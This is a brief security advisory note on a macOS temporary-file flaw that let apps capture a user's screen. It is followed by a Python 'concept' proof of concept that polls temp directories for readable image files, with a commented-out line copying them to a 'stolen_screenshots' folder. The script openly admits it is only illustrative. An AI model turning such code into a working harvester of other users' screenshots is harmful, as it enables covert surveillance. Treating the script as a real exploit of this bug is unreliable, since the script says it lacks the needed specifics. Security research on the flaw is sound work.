A privacy issue was addressed with improved handling of temporary files. This issue is fixed in macOS Sequoia 15.7.4, macOS Tahoe 26.3. An app may be able to capture a user's screen.
The following code is for security research and authorized testing only.
python
import os
import time
# PoC Concept: Monitor temp directories for readable screen dumps
# This script simulates checking for insecure temporary files
def monitor_temp_dirs():
# Common macOS temp directories
temp_dirs = ['/tmp', '/private/var/folders']
print("[*] Monitoring temporary directories for potential screen dumps...")
while True:
for dir_path in temp_dirs:
if os.path.exists(dir_path):
for root, dirs, files in os.walk(dir_path):
for file in files:
file_path = os.path.join(root, file)
try:
# Check if file is readable and looks like an image
if os.access(file_path, os.R_OK):
if file.endswith(('.png', '.jpg', '.jpeg')):
print(f"[!] Found readable image file: {file_path}")
# In a real exploit, this file would be copied/exfiltrated
# os.system(f'cp {file_path} ./stolen_screenshots/')
except Exception as e:
pass
time.sleep(1)
if __name__ == "__main__":
# Note: This is a conceptual demonstration based on the 'temporary file handling' description.
# Actual exploitation requires precise timing and knowledge of the specific temp file naming convention.
monitor_temp_dirs()